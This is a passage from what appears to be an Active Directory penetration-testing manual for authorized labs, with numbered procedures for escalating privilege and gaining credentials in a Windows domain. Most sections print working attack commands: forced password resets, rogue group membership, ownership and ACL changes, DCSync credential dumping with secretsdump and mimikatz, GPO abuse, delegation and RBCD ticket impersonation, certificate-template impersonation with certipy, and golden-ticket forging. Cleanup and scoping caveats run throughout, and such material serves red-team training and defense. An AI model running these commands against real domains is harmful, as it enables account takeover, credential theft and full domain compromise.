Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Trustee: CONTROLLED_GROUP
Right: ExtendedRight
Resolved operation: password reset
Target: TARGET_USER

Recognize this detail: An applicable reset operation changes a target credential; it does not reveal the old password.

Still missing before method selection: Validate effective membership, protection/account state, account utility and the authorized impact of a disruptive reset.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.15.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact object/right and account state; the disruptive password change is justified within the assigned lab objective.

6.3.11.15.4 Discover and verify prerequisites

Get-DomainObjectAcl -Identity TARGET_USER -ResolveGUIDs
Get-DomainUser -Identity TARGET_USER

6.3.11.15.5 Why it works

Reset changes the credential; it does not reveal or preserve the unknown original password. Its value depends on the target account's actual rights and service policy.

6.3.11.15.6 Execute and choose variants

A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.

$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain

Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.

6.3.11.15.7 Worked example — hypothetical

Observation: the effective reset right applies to a service account. Test: confirm its utility and choose the authorized transition. Illustrative output: the newly set password authenticates as that account. Interpretation: re-enumerate its exact access.

6.3.11.15.8 Verify the result

Verify account identity and compatible authentication, then test relevant authorization.

6.3.11.15.9 Failure and fallback

A stale/protected-object edge or policy can prevent the reset. Prefer a reversible SPN/group route when it achieves the objective.

6.3.11.15.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.16.1 Purpose and result

A verified new group-based authorization capability.

6.3.11.16.2 Recognition clues

A group member-attribute write or equivalent effective right.

6.3.11.16.2.1 Find the clue from your starting access

Where to investigate: Select the useful group from mapping and inspect its current member list and exact member-attribute ACL.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Target group: ACCESS_GROUP
Effective permitted operation: write member
Controlled account: not currently a member

Recognize this detail: A membership-write operation can grant a defined group capability once new logon/token state reflects it.

Still missing before method selection: Verify effective right, actual group-derived authorization, nesting/token refresh and restoration.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.16.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact target group, controlled principal, useful resulting right and a fresh token/logon context.

6.3.11.16.4 Discover and verify prerequisites

Get-DomainGroupMember -Identity TARGET_GROUP
Get-DomainObjectAcl -Identity TARGET_GROUP -ResolveGUIDs

6.3.11.16.5 Why it works

Directory membership changes do not automatically refresh existing tokens or every application's group cache. Nested membership and service-specific authorization determine the resulting access.

6.3.11.16.6 Execute and choose variants

6.3.11.16.6.1 Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose

Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
  Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }

6.3.11.16.6.2 Built-in alternative

# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain

A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:

Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain

6.3.11.16.7 Worked example — hypothetical

Observation: the controlled account can join a group granting remote management. Test: change membership and create a fresh authorized logon. Illustrative output: WinRM access succeeds only in the new context. Interpretation: record the new right and remove the temporary membership afterward.

6.3.11.16.8 Verify the result

Verify directory membership and actual service action from a refreshed context, then restore the original membership.

6.3.11.16.9 Failure and fallback

An old token, wrong group or nesting/policy behavior can leave authorization unchanged despite a successful modification.

6.3.11.16.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.17.1 Purpose and result

A verified specific right enabling another identity transition.

6.3.11.17.2 Recognition clues

Effective WriteOwner or WriteDacl on a useful directory object.

6.3.11.17.2.1 Find the clue from your starting access

Where to investigate: Inspect resolved ownership/DACL rights on the exact useful object and separate the intermediate right from the final desired operation.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Trustee: CONTROLLED_PRINCIPAL
Effective right candidate: WriteOwner or WriteDacl

Recognize this detail: Ownership/DACL control may enable a narrower useful ACE; it is an intermediate capability.

Still missing before method selection: Validate actual owner semantics, deny/protected-object behavior, ability to grant the next right and original-state restoration.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.17.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct object/ACE semantics, permission to perform the required intermediate change and a preserved original ACL/owner.

6.3.11.17.4 Discover and verify prerequisites

Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs

6.3.11.17.5 Why it works

Ownership and DACL control are intermediate capabilities. Grant the narrow operation required for the next method and validate that it applies; do not treat ACL text as completed account compromise.

6.3.11.17.6 Execute and choose variants

WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.

6.3.11.17.6.1 Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose

Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

6.3.11.17.6.2 Group-membership variant

# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose

6.3.11.17.6.3 Remove the ACE after the authorized objective

# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.

6.3.11.17.7 Worked example — hypothetical

Observation: the controlled trustee can change an object's owner. Test: validate whether the new ownership allows the required DACL update. Illustrative output: the narrow reset right is granted and effective. Interpretation: only then select the password transition and preserve cleanup state.

6.3.11.17.8 Verify the result

Verify the intermediate owner/DACL state and final operation separately; restore original state afterward.

6.3.11.17.9 Failure and fallback

Protected-object behavior, scope/inheritance or a missing intermediate right can break the chain.

6.3.11.17.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.18.1 Purpose and result

Selected domain credential material retrieved through directory replication.

6.3.11.18.2 Recognition clues

A principal has the relevant effective replication rights at the domain naming context.

6.3.11.18.2.1 Find the clue from your starting access

Where to investigate: Inspect the domain naming-context ACL and resolve replication-specific extended rights for the controlled identity/group.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Applicable domain ACEs:
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Trustee: CONTROLLED_PRINCIPAL

Recognize this detail: Replication rights at the domain scope are the relevant clue; local administrator rights on a member host are different.

Still missing before method selection: Verify the complete effective replication rights for selected data, trustee membership, DC/RPC route and identity context.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.18.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Required replication extended rights, DC RPC connectivity and correct domain identity; access to a member server is insufficient.

6.3.11.18.4 Discover and verify prerequisites

Get-DomainObjectAcl -Identity DOMAIN_DN -ResolveGUIDs

6.3.11.18.5 Why it works

DCSync uses the replication protocol instead of reading a local LSASS process or copying NTDS. Its authorization comes from domain replication rights, not an arbitrary local administrator token.

6.3.11.18.6 Execute and choose variants

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

Validate ACLs at the domain root:

Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }

A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:

6.3.11.18.6.1 Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

6.3.11.18.6.2 Remove the delegated replication ACE after the authorized objective

# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

Request one approved test account rather than dumping the directory:

impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
  'DOMAIN/USER:PASSWORD@DC_HOST'

Mimikatz equivalent from an authorized Windows context:

lsadump::dcsync /domain:DOMAIN /user:TARGET_USER

6.3.11.18.7 Worked example — hypothetical

Observation: a controlled identity has the required domain replication rights. Test: verify effective rights and request only the selected proof account through the documented mechanism. Illustrative output: that account's credential material returns. Interpretation: classify and retain it privately.

6.3.11.18.8 Verify the result

Verify the replication source, account and material type; avoid equating a tool label with proven rights.

6.3.11.18.9 Failure and fallback

RPC route, identity context and missing replication rights produce different failures; verify each prerequisite.

6.3.11.18.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.19.1 Purpose and result

A verified policy-backed privileged action on an in-scope host.

6.3.11.19.2 Recognition clues

A useful linked GPO has a potentially controllable directory or SYSVOL component.

6.3.11.19.2.1 Find the clue from your starting access

Where to investigate: Enumerate GPO/OU links, then inspect the relevant directory object and SYSVOL policy component's effective control and target applicability.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainGPO
Get-DomainOU | Select-Object name,gplink

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

OU: TARGET_OU
gPLink: POLICY_GUID
Potential GPO control: inspect directory and file components

Recognize this detail: A linked policy supplies a potential privileged consumer only for hosts to which it actually applies.

Still missing before method selection: Check both needed policy components, effective ACEs, security/WMI filtering, target scope and refresh trigger.

If you do not yet have this clue: start with Validate effective directory-object control.

6.3.11.19.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective rights on the necessary GPO components, applicable target scope/filtering, writable policy artifact and a privileged refresh trigger.

6.3.11.19.4 Discover and verify prerequisites

Get-DomainGPO
Get-DomainOU | Select-Object name,gplink

6.3.11.19.5 Why it works

GPO control spans directory objects, files, links and client-side processing. A writable GPO object alone does not prove that the intended host consumes the chosen setting.

6.3.11.19.6 Execute and choose variants

Identify GPOs and links:

Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }

For a candidate, prove:

1. the controlled principal can edit both the directory object and relevant SYSVOL policy files;
2. the GPO is linked to the OU containing the intended test host/user;
3. security filtering and WMI filters include that subject;
4. the configured preference/task/script runs in the expected context; and
5. policy refresh or another predictable trigger will occur.

SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:

SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force

Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.

6.3.11.19.7 Worked example — hypothetical

Observation: a group controls a GPO linked to an OU. Test: validate both policy components and actual target applicability. Illustrative output: security filtering excludes the target. Interpretation: the proposed policy-to-host chain is not enabled.

6.3.11.19.8 Verify the result

Verify actual policy application and resulting privileged effect; retain/restorable original policy state.

6.3.11.19.9 Failure and fallback

Wrong link, filtering, unavailable refresh or missing file rights invalidates the chain. Keep this as a conditional supplement.

6.3.11.19.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.20.1 Purpose and result

A service-scoped impersonation ticket accepted by the intended destination.

6.3.11.20.2 Recognition clues

Delegation configuration or computer-object write suggests a Kerberos impersonation path.

6.3.11.20.2.1 Find the clue from your starting access

Where to investigate: Inspect directory delegation flags/attributes and map the service principals before considering any impersonation request.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Computer: TARGET_HOST
Delegation-related flag: present
Target service and controlled key: not yet established

Recognize this detail: A delegation flag opens a configuration investigation; unconstrained, constrained and RBCD require different relationships.

Still missing before method selection: Identify exact delegation type, controlled service/machine key, target SPN, relevant account flags and KDC acceptance.

If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.

6.3.11.20.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Exact delegation type; required service/machine identity and key; allowed target/SPN; account flags and KDC policy permit the flow.

6.3.11.20.4 Discover and verify prerequisites

Get-DomainComputer -TrustedToAuth
Get-DomainComputer -Unconstrained

6.3.11.20.5 Why it works

Unconstrained, constrained and resource-based delegation use different trust directions and prerequisites. Computer-object write is an intermediate right; it does not by itself provide a valid S4U ticket chain.

6.3.11.20.6 Execute and choose variants

Enumerate before attempting any ticket operation:

Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto

impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

6.3.11.20.6.1.1 Validate and use a resource-based delegation relationship Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

Cleanup after the lab objective:

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

6.3.11.20.7 Worked example — hypothetical

Observation: a writable computer attribute suggests RBCD. Test: verify a controlled service principal/key and target delegation policy. Illustrative output: a required principal or KDC condition is missing. Interpretation: retain the object right but do not claim impersonation.

6.3.11.20.8 Verify the result

Verify the exact service ticket and successful destination action, with original delegation state preserved.

6.3.11.20.9 Failure and fallback

Protected accounts, unavailable service identity, unsupported encryption or wrong SPN can break the chain. Use only when the complete conditional path exists.

6.3.11.20.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Operational procedure | Operational procedure | Quick sheet

6.3.11.21.1 Purpose and result

An issued certificate/private-key capability that authenticates as the intended identity.

6.3.11.21.2 Recognition clues

A CA/template configuration exposes a plausible certificate identity transition.

6.3.11.21.2.1 Find the clue from your starting access

Where to investigate: Enumerate the CA and enabled templates with the known directory identity, then read rights and settings rather than acting on an ESC label.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Template: TEMPLATE_NAME
Client Authentication: enabled
Subject control: candidate setting
Enrollment rights: GROUP
Approval/identity mapping: inspect

Recognize this detail: The conjunction of purpose, subject control and effective enrollment rights is a candidate; issuance and identity mapping are separate gates.

Still missing before method selection: Check exact template/CA rights/settings, approval/signatures, required key, current mapping and authenticatable identity.

If you do not yet have this clue: start with Enumerate directory objects with native, LDAP and PowerView approaches.

6.3.11.21.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Effective enrollment/template/CA rights and the exact vulnerable settings; issuance requirements, identity mapping and authentication route must all permit the path.

6.3.11.21.4 Discover and verify prerequisites

certipy find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP -enabled

6.3.11.21.5 Why it works

A scanner's ESC label summarizes conditions; it does not guarantee issuance or modern account mapping. Template write is an intermediate modification requiring preservation and validation of all necessary properties.

6.3.11.21.6 Execute and choose variants

Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.

Package names vary:

command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -enabled -vulnerable -stdout

Review:

• CA name and host;
• template name and whether it is enabled/published;
• who can enroll;
• client-authentication EKUs/purpose;
• subject/SAN supply controls;
• manager approval/signature requirements;
• template owner and modification rights;
• web enrollment/relay-related configuration where relevant.

An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.

Generic request after validating a specific template:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE

An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE \
  -upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'

certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP

Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.

Before any authorized template change, save configuration:

certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -template TEMPLATE -save-configuration template-backup.json

Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.

6.3.11.21.7 Worked example — hypothetical

Observation: a template is labelled vulnerable. Test: inspect enrollment rights, approval, subject control and mapping requirements. Illustrative output: manager approval blocks issuance. Interpretation: the scanner candidate is not an immediately usable identity transition.

6.3.11.21.8 Verify the result

Verify issuance, matching private key, mapped account and a successful authentication effect; preserve and restore template changes.

6.3.11.21.9 Failure and fallback

Denied enrollment, approval, mapping hardening or missing key material needs a different conditional route, not a renamed certificate tool.

6.3.11.21.10 Continue from the interpreted result

Blocks: 11; credential classification in 5. Operational procedure | Quick sheet

6.3.11.22.1 Purpose and result

A realm-wide ticket capability whose acceptance and service authorization still require verification.

6.3.11.22.2 Recognition clues

An already compromised domain exposes a KRBTGT key and domain SID.

6.3.11.22.2.1 Find the clue from your starting access

Where to investigate: Begin only after protected private evidence establishes the actual domain KRBTGT key and SID; inspect account/source metadata rather than assuming any domain hash suffices.

Discovery action — reference example:

Access/context: A domain identity, appropriate host privilege, or a validated effective directory-object right

klist
whoami /user

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Private source classification: KRBTGT key, not ordinary service key
Domain SID/realm: recorded
Test service: explicitly scoped

Recognize this detail: KRBTGT key exposure is the enabling post-compromise condition; an ordinary NT hash or unrelated ticket cannot substitute.

Still missing before method selection: Verify current cryptographic material/version, realm/SID/principal, time and actual service validation; retain recovery/cleanup scope.

If you do not yet have this clue: start with Use validated directory replication rights for bounded credential proof.

6.3.11.22.3 Prerequisites

Starting access: A domain identity, appropriate host privilege, or a validated effective directory-object right. Required conditions: Correct KRBTGT cryptographic material, realm/SID/principal data, valid ticket parameters and compatible service/KDC validation behavior.

6.3.11.22.4 Discover and verify prerequisites

klist
whoami /user

6.3.11.22.5 Why it works

Golden-ticket creation is a post-compromise impact/persistence concept here. Possession of the correct domain key is a much stronger starting condition than an ordinary service key; it is not an initial escalation default.

6.3.11.22.6 Execute and choose variants

Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.

Authorized isolated-lab examples:

# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN AUTHORIZED_TEST_USER

export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.

6.3.11.22.7 Worked example — hypothetical

Observation: authorized isolated-lab evidence already establishes KRBTGT exposure. Test: inspect the scope of a documented test ticket and its intended service use. Illustrative output: the service accepts the represented identity. Interpretation: record domain-key impact and recovery needs without treating the technique as a routine first path.

6.3.11.22.8 Verify the result

Verify cryptographic source, represented principal and exact service effect; protect the key and remove generated test credentials.

6.3.11.22.9 Failure and fallback

Wrong key/version, realm, time or validation behavior can reject a forged ticket. Prefer legitimate current tickets for ordinary movement.

6.3.11.22.10 Continue from the interpreted result